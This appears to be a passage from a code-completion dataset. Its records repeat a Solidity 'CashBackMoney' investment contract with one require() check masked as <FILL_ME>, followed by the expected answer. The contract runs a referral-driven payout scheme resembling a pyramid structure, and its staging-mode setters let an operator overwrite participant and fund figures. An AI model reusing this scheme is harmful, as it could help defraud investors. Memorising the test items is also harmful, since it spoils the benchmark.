(RefClickCount[msg.sender][msg.value] > 63) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value].sub(42); } } wd_time = now.add(hours24); wd_time = wd_time.sub((refs.div(3)).mul(hours3)); RefClickCount[msg.sender][msg.value] = RefClickCount[msg.sender][msg .value] .sub(refs.div(3).mul(3)); emit ChangeClickRefefalNumbers( msg.sender, msg.value, RefClickCount[msg.sender][msg.value] ); Balances[msg.sender][_level][msg.value] = true; WithdrawDate[msg.sender][_level][msg.value] = wd_time; reward_account.transfer(msg.value.perc(reward)); if (!Participants[msg.sender]) { Participants[msg.sender] = true; NumberOfParticipants += 1; } FundBalance += msg.value.perc(reward); NumberOfClicks += 1; emit AmountInvestedByPay(msg.sender, msg.value); } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 _amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { } }
RefererID[msg.sender]!=_refererID,"Pay: you cannot be a referral to yourself"
379,271
RefererID[msg.sender]!=_refererID
"Pay: amount already paid"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { } /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { // If a RefererID is not yet assigned if (RefererID[msg.sender] == 0) { CreateRefererID(msg.sender); } require( RefererID[msg.sender] != _refererID, "Pay: you cannot be a referral to yourself" ); require(_level > 0 && _level < 4, "Pay: level can only be 1,2 or 3"); require(<FILL_ME>) // If owner invest this amount for the first time if (!OwnerAmountStatus[msg.sender][msg.value]) { OwnerAmountStatus[msg.sender][msg.value] = true; } // If a referrer is not yet installed if ((Referer[msg.sender] == 0) && (_refererID != 0)) { Referer[msg.sender] = _refererID; } // Add to Total & AutoClick if ( (Referer[msg.sender] != 0) && (OwnerAmountStatus[RefererAddr[Referer[msg.sender]]][msg.value]) ) { RefTotalClicks[RefererAddr[Referer[msg.sender]]] += 1; RefTotalIncome[RefererAddr[Referer[msg.sender]]] += msg.value; RefClickCount[RefererAddr[Referer[msg.sender]]][msg.value] += 1; emit ChangeClickRefefalNumbers( RefererAddr[Referer[msg.sender]], msg.value, RefClickCount[RefererAddr[Referer[msg.sender]]][msg.value] ); uint256 Current = GetPeriod(now); uint256 Start = Current - 30; OwnerAutoClickCount[msg.sender][msg.value][Current] += 1; uint256 CountOp = 0; for (uint256 k = Start; k < Current; k++) { CountOp += OwnerAutoClickCount[msg.sender][msg.value][k]; } if (CountOp >= 30) { RefAutoClickCount[RefererAddr[Referer[msg.sender]]][msg .value][Current] += 1; } } uint256 refs; uint256 wd_time; if (_level == 1) { if (RefClickCount[msg.sender][msg.value] > 21) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value]; } } if (_level == 2) { require( RefClickCount[msg.sender][msg.value] >= 21, "Pay: not enough referrals" ); if (RefClickCount[msg.sender][msg.value] > 42) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value].sub(21); } } if (_level == 3) { require( RefClickCount[msg.sender][msg.value] >= 42, "Pay: not enough referrals" ); if (RefClickCount[msg.sender][msg.value] > 63) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value].sub(42); } } wd_time = now.add(hours24); wd_time = wd_time.sub((refs.div(3)).mul(hours3)); RefClickCount[msg.sender][msg.value] = RefClickCount[msg.sender][msg .value] .sub(refs.div(3).mul(3)); emit ChangeClickRefefalNumbers( msg.sender, msg.value, RefClickCount[msg.sender][msg.value] ); Balances[msg.sender][_level][msg.value] = true; WithdrawDate[msg.sender][_level][msg.value] = wd_time; reward_account.transfer(msg.value.perc(reward)); if (!Participants[msg.sender]) { Participants[msg.sender] = true; NumberOfParticipants += 1; } FundBalance += msg.value.perc(reward); NumberOfClicks += 1; emit AmountInvestedByPay(msg.sender, msg.value); } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 _amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { } }
!Balances[msg.sender][_level][msg.value],"Pay: amount already paid"
379,271
!Balances[msg.sender][_level][msg.value]
"Pay: not enough referrals"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { } /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { // If a RefererID is not yet assigned if (RefererID[msg.sender] == 0) { CreateRefererID(msg.sender); } require( RefererID[msg.sender] != _refererID, "Pay: you cannot be a referral to yourself" ); require(_level > 0 && _level < 4, "Pay: level can only be 1,2 or 3"); require( !Balances[msg.sender][_level][msg.value], "Pay: amount already paid" ); // If owner invest this amount for the first time if (!OwnerAmountStatus[msg.sender][msg.value]) { OwnerAmountStatus[msg.sender][msg.value] = true; } // If a referrer is not yet installed if ((Referer[msg.sender] == 0) && (_refererID != 0)) { Referer[msg.sender] = _refererID; } // Add to Total & AutoClick if ( (Referer[msg.sender] != 0) && (OwnerAmountStatus[RefererAddr[Referer[msg.sender]]][msg.value]) ) { RefTotalClicks[RefererAddr[Referer[msg.sender]]] += 1; RefTotalIncome[RefererAddr[Referer[msg.sender]]] += msg.value; RefClickCount[RefererAddr[Referer[msg.sender]]][msg.value] += 1; emit ChangeClickRefefalNumbers( RefererAddr[Referer[msg.sender]], msg.value, RefClickCount[RefererAddr[Referer[msg.sender]]][msg.value] ); uint256 Current = GetPeriod(now); uint256 Start = Current - 30; OwnerAutoClickCount[msg.sender][msg.value][Current] += 1; uint256 CountOp = 0; for (uint256 k = Start; k < Current; k++) { CountOp += OwnerAutoClickCount[msg.sender][msg.value][k]; } if (CountOp >= 30) { RefAutoClickCount[RefererAddr[Referer[msg.sender]]][msg .value][Current] += 1; } } uint256 refs; uint256 wd_time; if (_level == 1) { if (RefClickCount[msg.sender][msg.value] > 21) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value]; } } if (_level == 2) { require(<FILL_ME>) if (RefClickCount[msg.sender][msg.value] > 42) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value].sub(21); } } if (_level == 3) { require( RefClickCount[msg.sender][msg.value] >= 42, "Pay: not enough referrals" ); if (RefClickCount[msg.sender][msg.value] > 63) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value].sub(42); } } wd_time = now.add(hours24); wd_time = wd_time.sub((refs.div(3)).mul(hours3)); RefClickCount[msg.sender][msg.value] = RefClickCount[msg.sender][msg .value] .sub(refs.div(3).mul(3)); emit ChangeClickRefefalNumbers( msg.sender, msg.value, RefClickCount[msg.sender][msg.value] ); Balances[msg.sender][_level][msg.value] = true; WithdrawDate[msg.sender][_level][msg.value] = wd_time; reward_account.transfer(msg.value.perc(reward)); if (!Participants[msg.sender]) { Participants[msg.sender] = true; NumberOfParticipants += 1; } FundBalance += msg.value.perc(reward); NumberOfClicks += 1; emit AmountInvestedByPay(msg.sender, msg.value); } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 _amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { } }
RefClickCount[msg.sender][msg.value]>=21,"Pay: not enough referrals"
379,271
RefClickCount[msg.sender][msg.value]>=21
"Pay: not enough referrals"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { } /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { // If a RefererID is not yet assigned if (RefererID[msg.sender] == 0) { CreateRefererID(msg.sender); } require( RefererID[msg.sender] != _refererID, "Pay: you cannot be a referral to yourself" ); require(_level > 0 && _level < 4, "Pay: level can only be 1,2 or 3"); require( !Balances[msg.sender][_level][msg.value], "Pay: amount already paid" ); // If owner invest this amount for the first time if (!OwnerAmountStatus[msg.sender][msg.value]) { OwnerAmountStatus[msg.sender][msg.value] = true; } // If a referrer is not yet installed if ((Referer[msg.sender] == 0) && (_refererID != 0)) { Referer[msg.sender] = _refererID; } // Add to Total & AutoClick if ( (Referer[msg.sender] != 0) && (OwnerAmountStatus[RefererAddr[Referer[msg.sender]]][msg.value]) ) { RefTotalClicks[RefererAddr[Referer[msg.sender]]] += 1; RefTotalIncome[RefererAddr[Referer[msg.sender]]] += msg.value; RefClickCount[RefererAddr[Referer[msg.sender]]][msg.value] += 1; emit ChangeClickRefefalNumbers( RefererAddr[Referer[msg.sender]], msg.value, RefClickCount[RefererAddr[Referer[msg.sender]]][msg.value] ); uint256 Current = GetPeriod(now); uint256 Start = Current - 30; OwnerAutoClickCount[msg.sender][msg.value][Current] += 1; uint256 CountOp = 0; for (uint256 k = Start; k < Current; k++) { CountOp += OwnerAutoClickCount[msg.sender][msg.value][k]; } if (CountOp >= 30) { RefAutoClickCount[RefererAddr[Referer[msg.sender]]][msg .value][Current] += 1; } } uint256 refs; uint256 wd_time; if (_level == 1) { if (RefClickCount[msg.sender][msg.value] > 21) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value]; } } if (_level == 2) { require( RefClickCount[msg.sender][msg.value] >= 21, "Pay: not enough referrals" ); if (RefClickCount[msg.sender][msg.value] > 42) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value].sub(21); } } if (_level == 3) { require(<FILL_ME>) if (RefClickCount[msg.sender][msg.value] > 63) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value].sub(42); } } wd_time = now.add(hours24); wd_time = wd_time.sub((refs.div(3)).mul(hours3)); RefClickCount[msg.sender][msg.value] = RefClickCount[msg.sender][msg .value] .sub(refs.div(3).mul(3)); emit ChangeClickRefefalNumbers( msg.sender, msg.value, RefClickCount[msg.sender][msg.value] ); Balances[msg.sender][_level][msg.value] = true; WithdrawDate[msg.sender][_level][msg.value] = wd_time; reward_account.transfer(msg.value.perc(reward)); if (!Participants[msg.sender]) { Participants[msg.sender] = true; NumberOfParticipants += 1; } FundBalance += msg.value.perc(reward); NumberOfClicks += 1; emit AmountInvestedByPay(msg.sender, msg.value); } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 